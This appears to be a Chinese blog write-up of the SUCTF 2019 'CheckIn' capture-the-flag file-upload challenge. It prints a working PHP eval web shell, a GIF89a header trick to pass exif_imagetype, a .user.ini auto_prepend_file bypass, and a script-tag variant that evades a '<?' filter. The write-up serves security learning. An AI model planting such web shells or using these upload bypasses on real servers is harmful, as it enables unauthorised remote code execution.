• [SUCTF 2019]CheckIn


    0x00

    打开web如下,可以看到这是一道上传的题

    新建一个文件命名为3.php,进行上传,得到如下结果

    发现被过滤了,进行模糊测试,发现php相关拓展名的都已被过滤掉,但是上传其他类型文件时显示不为jpg类型文件(如下),可以知道使用的是exif_imagetype函数{通过文件幻数(文件头)来判断文件类型}进行判断

    通过谷歌的插件,发现该站点使用的是nginx

    所以使用.htaccess绕过行不通,因为它是Apache的配置文件
    这里我们采用.user.ini来绕过--》.user.ini
    绕过exif_imagetype函数的检查,我们可以通过添加jpg文件的文件头(GIF89a)
    创建文件.user.ini内容如下
    GIF89a
    auto_prepend_file=01.jpg
    ## auto_prepend_file将01.jpg文件的内容添加到当前目录下的php文件的开头
    
    上传得到结果如下

    我们继续创建01.jpg文件内容如下
    GIF89a
    <?php @eval($_POST['pass']);?>
    

    上传得到结果如下,发现对内容也进行了过滤,过滤了<?

    我们可以使用如下来绕过

    GIF89a
    <script language="php"> @eval($_POST['pass']);</script>
    

    重新上传,得到结果

    我们直接访问上传后地址的index.php,可以看到01.jpg中的内容已经被包含

    使用蚁剑进行连接,连接成功

    获取flag

    0x01 总结

    主要考察了如下几点:

    • 1.exif_imagetype函数绕过
    exif_imagetype函数通过检查文件幻数(文件头)来判断是不是jpg格式文件
    
    • 2..user.ini上传绕过的使用
    参数文章:.user.ini
    • 3.内容过滤<?绕过
    <?php @eval($_POST['pass']); ?>
    ## 替换为如下
    <script language="php">@eval($_POST['pass']);</script>
    
  • 相关阅读:
    show master status, show slave status中的Executed_Gtid_Set
    MySQL分库分表
    数据库的读锁和写锁在业务上的应用场景总结
    MySQL死锁分析
    Java接口幂等性
    MySQL读写分离原理
    mysql 安装参考
    关于我
    【2020五校联考NOIP #6】最佳观影
    【2020五校联考NOIP #6】三格缩进
  • 原文地址:https://www.cnblogs.com/Wuser/p/13631074.html
Copyright © 2020-2023  润新知